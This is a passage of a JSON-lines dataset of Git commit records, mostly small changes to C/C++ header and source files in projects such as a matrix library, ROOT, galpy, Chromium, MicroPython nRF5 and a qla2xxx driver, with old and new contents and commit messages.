header\n","lang":"C","license":"bsd-3-clause","repos":"jsventek\/Cache,jsventek\/Cache,fergul\/Cache,fergul\/Cache,fergul\/Cache,jsventek\/Cache"}
{"commit":"20c2122027dab79bda516c91fe924f23bc938794","old_file":"include\/matrix_constructors_impl.h","new_file":"include\/matrix_constructors_impl.h","old_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Constructors\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nmatrix<T>::matrix():data_(),rows_(0),cols_(0){}\n\ntemplate<class T>\nmatrix<T>::matrix( std::size_t rows, std::size_t cols ):\n    data_(rows*cols),rows_(rows),cols_(cols){}\n\ntemplate<class T>\nmatrix<T>::matrix( std::initializer_list<std::initializer_list<T>> init_list):\n    data_( make_vector(init_list) ),\n    rows_(init_list.size()),cols_( init_list.begin()->size() ){}\n    \/\/ !!!\n    \/\/\n    \/\/ Is \"init_list.begin()->size()\" ok if init_list = {} ?\n    \/\/\n    \/\/ !!!\n\n","new_contents":"\/\/-----------------------------------------------------------------------------\n\/\/ Constructors\n\/\/-----------------------------------------------------------------------------\n\ntemplate<class T>\nmatrix<T>::matrix():\n    data_(),\n    rows_(0),\n    cols_(0) {}\n\ntemplate<class T>\nmatrix<T>::matrix( std::size_t rows, std::size_t cols ):\n    data_(rows*cols),\n    rows_(rows),\n    cols_(cols) {}\n\ntemplate<class T>\nmatrix<T>::matrix( std::initializer_list<std::initializer_list<T>> init_list):\n    data_( make_vector(init_list) ),\n    rows_(init_list.size()),\n    cols_( (init_list.size() > 0) ? init_list.begin()->size() : 0 ) {}\n\n","subject":"Add check for empty matrix in constructor.","message":"Add check for empty matrix in constructor.\n","lang":"C","license":"mit","repos":"actinium\/cppMatrix,actinium\/cppMatrix"}
{"commit":"b1c00a1eb1c2c7bae91d94232bce3537866d9ea2","old_file":"include\/arch\/x86\/cpu_state.h","new_file":"include\/arch\/x86\/cpu_state.h","old_contents":"","new_contents":"#ifndef CPU_STATE_H\n#define CPU_STATE_H\n\nstruct cpu_state {\n    \/\/ Pushed by pusha\n    uint32_t edi, esi, ebp, esp, ebx, edx, ecx, eax;\n    uint32_t eip, cs, eflags, useresp, ss;\n};\n#endif\n","subject":"Define x86 CPU state structure","message":"Define x86 CPU state structure\n","lang":"C","license":"mit","repos":"awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,Herbstein\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"4941fe015c2804a36b820818f4e8f68f867ed5b4","old_file":"proj\/android\/library\/src\/main\/native\/log.h","new_file":"proj\/android\/library\/src\/main\/native\/log.h","old_contents":"\/\/\n\/\/ Created by Dawid Drozd aka Gelldur on 03.02.16.\n\/\/\n\n#pragma once\n\n#include <android\/log.h>\n\n#ifdef DEBUG\n\n#define  DLOG(...)  __android_log_print(ANDROID_LOG_DEBUG,\"JNI\",__VA_ARGS__)\n#define  ILOG(...)  __android_log_print(ANDROID_LOG_INFO,\"JNI\",__VA_ARGS__)\n#define  WLOG(...)  __android_log_print(ANDROID_LOG_WARN,\"JNI\",__VA_ARGS__)\n#define  ELOG(...)  __android_log_print(ANDROID_LOG_ERROR,\"JNI\",__VA_ARGS__)\n#define  FLOG(...)  __android_log_print(ANDROID_LOG_FATAL,\"JNI\",__VA_ARGS__)\n\n#else\n\n#define  DLOG(...)\n#define  ILOG(...)\n#define  WLOG(...)  __android_log_print(ANDROID_LOG_WARN,\"JNI\",__VA_ARGS__)\n#define  ELOG(...)  __android_log_print(ANDROID_LOG_ERROR,\"JNI\",__VA_ARGS__)\n#define  FLOG(...)  __android_log_print(ANDROID_LOG_FATAL,\"JNI\",__VA_ARGS__)\n\n#endif\n","new_contents":"\/\/\n\/\/ Created by Dawid Drozd aka Gelldur on 03.02.16.\n\/\/\n\n#pragma once\n\n#include <android\/log.h>\n\n#ifndef NDEBUG\n\n#define  DLOG(...)  __android_log_print(ANDROID_LOG_DEBUG,\"JNI\",__VA_ARGS__)\n#define  ILOG(...)  __android_log_print(ANDROID_LOG_INFO,\"JNI\",__VA_ARGS__)\n#define  WLOG(...)  __android_log_print(ANDROID_LOG_WARN,\"JNI\",__VA_ARGS__)\n#define  ELOG(...)  __android_log_print(ANDROID_LOG_ERROR,\"JNI\",__VA_ARGS__)\n#define  FLOG(...)  __android_log_print(ANDROID_LOG_FATAL,\"JNI\",__VA_ARGS__)\n\n#else\n\n#define  DLOG(...)\n#define  ILOG(...)\n#define  WLOG(...)  __android_log_print(ANDROID_LOG_WARN,\"JNI\",__VA_ARGS__)\n#define  ELOG(...)  __android_log_print(ANDROID_LOG_ERROR,\"JNI\",__VA_ARGS__)\n#define  FLOG(...)  __android_log_print(ANDROID_LOG_FATAL,\"JNI\",__VA_ARGS__)\n\n#endif\n","subject":"Fix compile for debug on Android","message":"Fix compile for debug on Android\n","lang":"C","license":"apache-2.0","repos":"gelldur\/DexodeEngine,gelldur\/DexodeEngine,gelldur\/DexodeEngine"}
{"commit":"7a1425ecffc7f512889ff49fdc6bdd0f2bd373e8","old_file":"battery_info.c","new_file":"battery_info.c","old_contents":"","new_contents":"#include <linux\/init.h>\n#include <linux\/module.h>\n#include <linux\/kernel.h>\n#include <linux\/power_supply.h>\n\nstatic int __init battery_status_init(void)\n{\n\tchar name[] = \"BAT0\";\n\tint result = 0;\n\tstruct power_supply *psy = power_supply_get_by_name(name);\n\tunion power_supply_propval chargenow, chargefull;\n\tresult = psy->get_property(psy, POWER_SUPPLY_PROP_CHARGE_NOW, &chargenow);\n\tif (!result) {\n\t\tprintk(KERN_INFO \"The charge level is %d\\n\", chargenow.intval);\n\t}\n\tresult = psy->get_property(psy, POWER_SUPPLY_PROP_CHARGE_FULL, &chargefull);\n\tif (!result) {\n\t\tprintk(KERN_INFO \"The charge level is %d\\n\", chargefull.intval);\n\t}\n\treturn 0;\n}\n\nstatic void __exit battery_status_exit(void)\n{\n\tprintk(KERN_INFO \"Unload battery_status module\\n\");\n}\n\nmodule_init(battery_status_init);\nmodule_exit(battery_status_exit);\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Miroslav Tisma <tisma.etf@gmail.com>\");\nMODULE_DESCRIPTION(\"Battery status level module.\");\nMODULE_VERSION(\"0.0.1\");\n\n","subject":"Add battery info kernel module.","message":"Add battery info kernel module.\n","lang":"C","license":"apache-2.0","repos":"tisma\/ctorious,tisma\/ctorious"}
{"commit":"20e3779e5e81ded7c04010a29639f354b6742163","old_file":"galpy\/orbit_src\/orbit_c_ext\/integrateFullOrbit.h","new_file":"galpy\/orbit_src\/orbit_c_ext\/integrateFullOrbit.h","old_contents":"#ifndef __INTEGRATEFULLORBIT_H__\n#define __INTEGRATEFULLORBIT_H__\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n#ifdef _WIN32\n#include <Python.h>\n#endif\n#include <galpy_potentials.h>\nvoid parse_leapFuncArgs_Full(int, struct potentialArg *,int **,double **);\n#ifdef _WIN32\n\/\/ On Windows, *need* to define this function to allow the package to be imported\n#if PY_MAJOR_VERSION >= 3\nPyMODINIT_FUNC PyInit_galpy_integrate_c(void) \/\/ Python 3\n#else\nPyMODINIT_FUNC initgalpy_integrate_c(void) \/\/ Python 2\n#endif\n#endif\n#ifdef __cplusplus\n}\n#endif\n#endif \/* integrateFullOrbit.h *\/\n","new_contents":"#ifndef __INTEGRATEFULLORBIT_H__\n#define __INTEGRATEFULLORBIT_H__\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n#ifdef _WIN32\n#include <Python.h>\n#endif\n#include <galpy_potentials.h>\nvoid parse_leapFuncArgs_Full(int, struct potentialArg *,int **,double **);\n#ifdef _WIN32\n\/\/ On Windows, *need* to define this function to allow the package to be imported\n#if PY_MAJOR_VERSION >= 3\n  PyMODINIT_FUNC PyInit_galpy_integrate_c(void); \/\/ Python 3\n#else\n  PyMODINIT_FUNC initgalpy_integrate_c(void); \/\/ Python 2\n#endif\n#endif\n#ifdef __cplusplus\n}\n#endif\n#endif \/* integrateFullOrbit.h *\/\n","subject":"Add semicolon to function declarations [travis skip]","message":"Add semicolon to function declarations [travis skip]\n","lang":"C","license":"bsd-3-clause","repos":"jobovy\/galpy,jobovy\/galpy,jobovy\/galpy,jobovy\/galpy"}
{"commit":"9c0cb6985090006c2d70a1080a46239601dafe08","old_file":"core\/base\/inc\/TThreadSlots.h","new_file":"core\/base\/inc\/TThreadSlots.h","old_contents":"\/\/ @(#)root\/thread:$Id$\n\/\/ Author: Philippe Canal   09\/30\/2011\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TThreadSlots\n#define ROOT_TThreadSlots\n\nnamespace ROOT {\n   \n   enum EThreadSlotReservation {\n      \/\/ Describe the system wide slot pre-allocation in the TThread \n      \/\/ 'special data' storage array ; meant to be used as thread local\n      \/\/ storage.  (See TThread::Tsd)\n      \/\/ \n      \/\/ Slot 0 through 19 can be used for user application\n      \/\/ Slot 20 and above are reserved for the global system\n      kMaxUserThreadSlot   = 20,\n      \n      \/\/ Slot reserved by ROOT's packages.\n      kPadThreadSlot       = 20,\n      kClassThreadSlot     = 21,\n      kDirectoryThreadSlot = 22,\n      kFileThreadSlot      = 23,\n      \n      kMaxThreadSlot       = 24  \/\/ Size of the array of thread local slots in TThread \n   };\n}\n\n#ifndef __CINT__\nR__EXTERN void **(*gThreadTsd)(void*,Int_t);\n#endif\n\n#endif \/\/ ROOT_TThreadSlots","new_contents":"\/\/ @(#)root\/base:$Id$\n\/\/ Author: Philippe Canal   09\/30\/2011\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TThreadSlots\n#define ROOT_TThreadSlots\n\nnamespace ROOT {\n   \n   enum EThreadSlotReservation {\n      \/\/ Describe the system wide slot pre-allocation in the TThread \n      \/\/ 'special data' storage array ; meant to be used as thread local\n      \/\/ storage.  (See TThread::Tsd)\n      \/\/ \n      \/\/ Slot 0 through 19 can be used for user application\n      \/\/ Slot 20 and above are reserved for the global system\n      kMaxUserThreadSlot   = 20,\n      \n      \/\/ Slot reserved by ROOT's packages.\n      kPadThreadSlot       = 20,\n      kClassThreadSlot     = 21,\n      kDirectoryThreadSlot = 22,\n      kFileThreadSlot      = 23,\n      \n      kMaxThreadSlot       = 24  \/\/ Size of the array of thread local slots in TThread \n   };\n}\n\n#ifndef __CINT__\nR__EXTERN void **(*gThreadTsd)(void*,Int_t);\n#endif\n\n#endif \/\/ ROOT_TThreadSlots\n","subject":"Fix module loc. Add missing final newline.","message":"Fix module loc.\nAdd missing final newline.\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@41534 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical,bbockelm\/root-historical"}
{"commit":"40f43230feaacb82b5d27a97a20d2329afef0f18","old_file":"core\/base\/inc\/TThreadSlots.h","new_file":"core\/base\/inc\/TThreadSlots.h","old_contents":"\/\/ @(#)root\/thread:$Id$\n\/\/ Author: Philippe Canal   09\/30\/2011\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TThreadSlots\n#define ROOT_TThreadSlots\n\nnamespace ROOT {\n   \n   enum EThreadSlotReservation {\n      \/\/ Describe the system wide slot pre-allocation in the TThread \n      \/\/ 'special data' storage array ; meant to be used as thread local\n      \/\/ storage.  (See TThread::Tsd)\n      \/\/ \n      \/\/ Slot 0 through 19 can be used for user application\n      \/\/ Slot 20 and above are reserved for the global system\n      kMaxUserThreadSlot   = 20,\n      \n      \/\/ Slot reserved by ROOT's packages.\n      kPadThreadSlot       = 20,\n      kClassThreadSlot     = 21,\n      kDirectoryThreadSlot = 22,\n      kFileThreadSlot      = 23,\n      \n      kMaxThreadSlot       = 24  \/\/ Size of the array of thread local slots in TThread \n   };\n}\n\n#ifndef __CINT__\nR__EXTERN void **(*gThreadTsd)(void*,Int_t);\n#endif\n\n#endif \/\/ ROOT_TThreadSlots","new_contents":"\/\/ @(#)root\/base:$Id$\n\/\/ Author: Philippe Canal   09\/30\/2011\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TThreadSlots\n#define ROOT_TThreadSlots\n\nnamespace ROOT {\n   \n   enum EThreadSlotReservation {\n      \/\/ Describe the system wide slot pre-allocation in the TThread \n      \/\/ 'special data' storage array ; meant to be used as thread local\n      \/\/ storage.  (See TThread::Tsd)\n      \/\/ \n      \/\/ Slot 0 through 19 can be used for user application\n      \/\/ Slot 20 and above are reserved for the global system\n      kMaxUserThreadSlot   = 20,\n      \n      \/\/ Slot reserved by ROOT's packages.\n      kPadThreadSlot       = 20,\n      kClassThreadSlot     = 21,\n      kDirectoryThreadSlot = 22,\n      kFileThreadSlot      = 23,\n      \n      kMaxThreadSlot       = 24  \/\/ Size of the array of thread local slots in TThread \n   };\n}\n\n#ifndef __CINT__\nR__EXTERN void **(*gThreadTsd)(void*,Int_t);\n#endif\n\n#endif \/\/ ROOT_TThreadSlots\n","subject":"Fix module loc. Add missing final newline.","message":"Fix module loc.\nAdd missing final newline.\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@41534 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT"}
{"commit":"499b14d0969ccaeb69ddcf1e3b0415df1f72f923","old_file":"configreader.h","new_file":"configreader.h","old_contents":"#ifndef CONFIGREADER_H\n#define CONFIGREADER_H\n\n\/*forward declarations*\/\nextern FILE *configreaderin;\n\nstruct config_ssid {\n    char ssid_name[32];\n    char ssid_user[32];\n    char ssid_pass[32];\n    char ssid_bssid[25];\n    int ssid_8021x;\n    struct config_ssid *next;\n};\n\nstruct config_interfaces {\n    char if_name[32];\n    struct config_ssid *ssids;\n    struct config_interfaces *next;\n};\n\nextern struct config_interfaces *config;\n\n#endif \/\/ CONFIGREADER_H\n\n","new_contents":"#ifndef CONFIGREADER_H\n#define CONFIGREADER_H\n\n\/*forward declarations*\/\nextern FILE *configreaderin;\n\nstruct config_ssid {\n    char ssid_name[32];\n    char ssid_user[32];\n    char ssid_pass[32];\n    char ssid_bssid[20];\n    char ssid_auth[10];\n    struct config_ssid *next;\n};\n\nstruct config_interfaces {\n    char if_name[32];\n    struct config_ssid *ssids;\n    struct config_interfaces *next;\n};\n\nextern struct config_interfaces *config;\n\n#endif \/\/ CONFIGREADER_H\n\n","subject":"Change to config file struct","message":"Change to config file struct\n","lang":"C","license":"bsd-3-clause","repos":"myauie\/wlan-daemon"}
{"commit":"7f580c5abe5aa3c7b4c712f69818543c27b924c6","old_file":"tests\/regression\/01-cpa\/58-base-ctx-insens-bot.c","new_file":"tests\/regression\/01-cpa\/58-base-ctx-insens-bot.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.ctx_insens[+] base\n#include <stdlib.h>\n#include <assert.h>\n\nvoid foo(int cond) {\n  assert(cond); \/\/ TODO to match assert\n}\n\nint main() {\n  int *p = malloc(sizeof(int)); \/\/ blob is initially Bot\n  while (1) { \/\/ blob joins Bot and 42 -> 42\n    \/\/ TODO: both should actually be UNKNOWN! to be sound\n    assert(*p == 42);\n    foo(*p == 42); \/\/ Bot -> Top, so foo has unknown and cannot narrow\n    *p = 42; \/\/ blob becomes 42\n  }\n  return 0;\n}\n","subject":"Add test for surprising imprecision with ctx_insens base","message":"Add test for surprising imprecision with ctx_insens base\n\nMinimized from instrumented_cp_comb.c with __VERIFIER_assert function (not macro).\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"ca19cb39e3c68728bf9e9be569bbde87870508e9","old_file":"libgnome\/gnome-popt.h","new_file":"libgnome\/gnome-popt.h","old_contents":"#ifndef __GNOME_POPT_H__\n#define __GNOME_POPT_H__ 1\n\n#include <popt.h>\n#include \"gnome-defs.h\"\n\nBEGIN_GNOME_DECLS\nvoid gnomelib_register_popt_table(const struct poptOption *options,\n\t\t\t\t  const char *description);\n\npoptContext gnomelib_parse_args(int argc, char *argv[],\n\t\t\t\tint popt_flags);\n\n\/* Some systems, like Red Hat 4.0, define these but don't declare\n   them.  Hopefully it is safe to always declare them here.  *\/\nextern char *program_invocation_short_name;\nextern char *program_invocation_name;\nEND_GNOME_DECLS\n\n#endif \/* __GNOME_HELP_H__ *\/\n","new_contents":"#ifndef __GNOME_POPT_H__\n#define __GNOME_POPT_H__ 1\n\n#include <popt-gnome.h>\n#include \"gnome-defs.h\"\n\nBEGIN_GNOME_DECLS\nvoid gnomelib_register_popt_table(const struct poptOption *options,\n\t\t\t\t  const char *description);\n\npoptContext gnomelib_parse_args(int argc, char *argv[],\n\t\t\t\tint popt_flags);\n\n\/* Some systems, like Red Hat 4.0, define these but don't declare\n   them.  Hopefully it is safe to always declare them here.  *\/\nextern char *program_invocation_short_name;\nextern char *program_invocation_name;\nEND_GNOME_DECLS\n\n#endif \/* __GNOME_HELP_H__ *\/\n","subject":"Update popt, and always use the gnome-libs version instead of any system","message":"Update popt, and always use the gnome-libs version instead of any system\n\n\n\nUpdate popt, and always use the gnome-libs version instead of any system\nversion.\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/libgnome,Distrotech\/libgnome,Distrotech\/libgnome"}
{"commit":"64dc9087a6c898d4436d7c63c65d4334c57fc03f","old_file":"src\/internal.h","new_file":"src\/internal.h","old_contents":"","new_contents":"\/\/\/\/\n\/\/    __|  |  | _ _| __  \/  __|   \\ |\n\/\/  \\__ \\  __ |   |     \/   _|   .  |\n\/\/  ____\/ _| _| ___| ____| ___| _|\\_|\n\/\/\n\/\/ Copyright (c) 2016 Jacob Hauberg Hansen\n\/\/\n\/\/ This library is free software; you can redistribute and modify it\n\/\/ under the terms of the MIT license. See LICENSE for details.\n\/\/\n\n#ifndef internal_h\n#define internal_h\n\n#define GLFW_INCLUDE_NONE\n\n#include <GL\/gl3w.h>\n#include <GLFW\/glfw3.h>\n\ntypedef struct {\n    bool is_initialized;\n    bool is_focused;\n\n    bool should_finish;\n    \n    GLFWwindow *window;\n} SHIZGraphicsContext;\n\n#endif \/\/ internal_h\n","subject":"Include GLFW\/gl3w and add base graphics context","message":"Include GLFW\/gl3w and add base graphics context\n","lang":"C","license":"mit","repos":"jhauberg\/SHIZEN"}
{"commit":"27710f2e7a2a160c3aa70cd87d491b54b49c3d7b","old_file":"views\/controls\/menu\/native_menu_host_delegate.h","new_file":"views\/controls\/menu\/native_menu_host_delegate.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n#define VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n\nnamespace views {\nnamespace internal {\n\nclass NativeMenuHostDelegate {\n public:\n  virtual ~NativeMenuHostDelegate() {}\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n#define VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n\nnamespace views {\nnamespace internal {\n\nclass NativeMenuHostDelegate {\n public:\n  virtual ~NativeMenuHostDelegate() {}\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace views\n\n#endif  \/\/ VIEWS_CONTROLS_MENU_NATIVE_MENU_HOST_DELEGATE_H_\n\n","subject":"Add newline to end of file.","message":"Add newline to end of file.\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@80087 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 25bda12511d371bc9c02bf2454cce53241ee2abe","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"cb9ed6bb55a5020770ad31fd30a05b4a91b70a81","old_file":"nrf5\/bluetooth_conf.h","new_file":"nrf5\/bluetooth_conf.h","old_contents":"#ifndef BLUETOOTH_CONF_H__\n#define BLUETOOTH_CONF_H__\n\n\/\/ SD specific configurations.\n\n#if (BLUETOOTH_SD == 110)\n\n#define MICROPY_PY_BLE                  (1)\n#define MICROPY_PY_BLE_NUS              (0)\n#define BLUETOOTH_WEBBLUETOOTH_REPL     (0)\n#define MICROPY_PY_UBLUEPY              (1)\n#define MICROPY_PY_UBLUEPY_PERIPHERAL   (1)\n\n#elif (BLUETOOTH_SD == 132)\n\n#define MICROPY_PY_BLE                  (1)\n#define MICROPY_PY_BLE_NUS              (0)\n#define BLUETOOTH_WEBBLUETOOTH_REPL     (0)\n#define MICROPY_PY_UBLUEPY              (1)\n#define MICROPY_PY_UBLUEPY_PERIPHERAL   (1)\n#define MICROPY_PY_UBLUEPY_CENTRAL      (0)\n\n#else\n#error \"SD not supported\"\n#endif\n\n\/\/ Default defines.\n\n#ifndef MICROPY_PY_BLE\n#define MICROPY_PY_BLE                  (0)\n#endif\n\n#ifndef MICROPY_PY_BLE_NUS\n#define MICROPY_PY_BLE_NUS              (0)\n#endif\n\n#endif\n","new_contents":"#ifndef BLUETOOTH_CONF_H__\n#define BLUETOOTH_CONF_H__\n\n\/\/ SD specific configurations.\n\n#if (BLUETOOTH_SD == 110)\n\n#define MICROPY_PY_BLE                  (1)\n#define MICROPY_PY_BLE_NUS              (0)\n#define BLUETOOTH_WEBBLUETOOTH_REPL     (0)\n#define MICROPY_PY_UBLUEPY              (1)\n#define MICROPY_PY_UBLUEPY_PERIPHERAL   (1)\n\n#elif (BLUETOOTH_SD == 132)\n\n#define MICROPY_PY_BLE                  (1)\n#define MICROPY_PY_BLE_NUS              (0)\n#define BLUETOOTH_WEBBLUETOOTH_REPL     (0)\n#define MICROPY_PY_UBLUEPY              (1)\n#define MICROPY_PY_UBLUEPY_PERIPHERAL   (1)\n#define MICROPY_PY_UBLUEPY_CENTRAL      (1)\n\n#else\n#error \"SD not supported\"\n#endif\n\n\/\/ Default defines.\n\n#ifndef MICROPY_PY_BLE\n#define MICROPY_PY_BLE                  (0)\n#endif\n\n#ifndef MICROPY_PY_BLE_NUS\n#define MICROPY_PY_BLE_NUS              (0)\n#endif\n\n#endif\n","subject":"Enable ubluepy central by default if running nrf52\/s132 bluetooth stack. Maturity of the module is pretty OK now.","message":"nrf5\/drivers\/bluetooth: Enable ubluepy central by default if running nrf52\/s132 bluetooth stack. Maturity of the module is pretty OK now.\n","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/micropython,adafruit\/micropython,tralamazza\/micropython,adafruit\/circuitpython,adafruit\/circuitpython,tralamazza\/micropython,adafruit\/micropython,adafruit\/circuitpython,tralamazza\/micropython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/micropython,tralamazza\/micropython,adafruit\/circuitpython"}
{"commit":"93f91dfa732eead8fbc938256b6883a93b847021","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.04.00.13-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t4\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.05.00.03-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t5\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update the driver version to 8.05.00.03-k.","message":"[SCSI] qla2xxx: Update the driver version to 8.05.00.03-k.\n\nSigned-off-by: Giridhar Malavali <799b6491fce2c7a80b5fedcf9a728560cc9eb954@qlogic.com>\nSigned-off-by: Saurav Kashyap <88d6fd94e71a9ac276fc44f696256f466171a3c0@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"8c1eb4493a5b21a5cc47b2fd33f2faf9b80c4413","old_file":"source\/host\/host_export.h","new_file":"source\/host\/host_export.h","old_contents":"\/\/\n\/\/ Aspia Project\n\/\/ Copyright (C) 2016-2022 Dmitry Chapyshev <dmitry@aspia.ru>\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program. If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n#ifndef HOST_HOST_EXPORT_H\n#define HOST_HOST_EXPORT_H\n\n#if defined(HOST_IMPLEMENTATION)\n#define HOST_EXPORT __declspec(dllexport)\n#else\n#define HOST_EXPORT __declspec(dllimport)\n#endif \/\/ defined(HOST_IMPLEMENTATION)\n\n#endif \/\/ HOST_HOST_EXPORT_H\n","new_contents":"\/\/\n\/\/ Aspia Project\n\/\/ Copyright (C) 2016-2022 Dmitry Chapyshev <dmitry@aspia.ru>\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program. If not, see <https:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n#ifndef HOST_HOST_EXPORT_H\n#define HOST_HOST_EXPORT_H\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_WIN)\n\n#if defined(HOST_IMPLEMENTATION)\n#define HOST_EXPORT __declspec(dllexport)\n#else\n#define HOST_EXPORT __declspec(dllimport)\n#endif \/\/ defined(HOST_IMPLEMENTATION)\n\n#else\n\n#if defined(HOST_IMPLEMENTATION)\n#define HOST_EXPORT __attribute__((visibility(\"default\")))\n#else\n#define HOST_EXPORT\n#endif\n\n#endif\n\n#endif \/\/ HOST_HOST_EXPORT_H\n","subject":"Fix host building in Linux (part 2\/x).","message":"Fix host building in Linux (part 2\/x).\n","lang":"C","license":"mpl-2.0","repos":"aspia-org\/remote-desktop,aspia-org\/remote-desktop"}
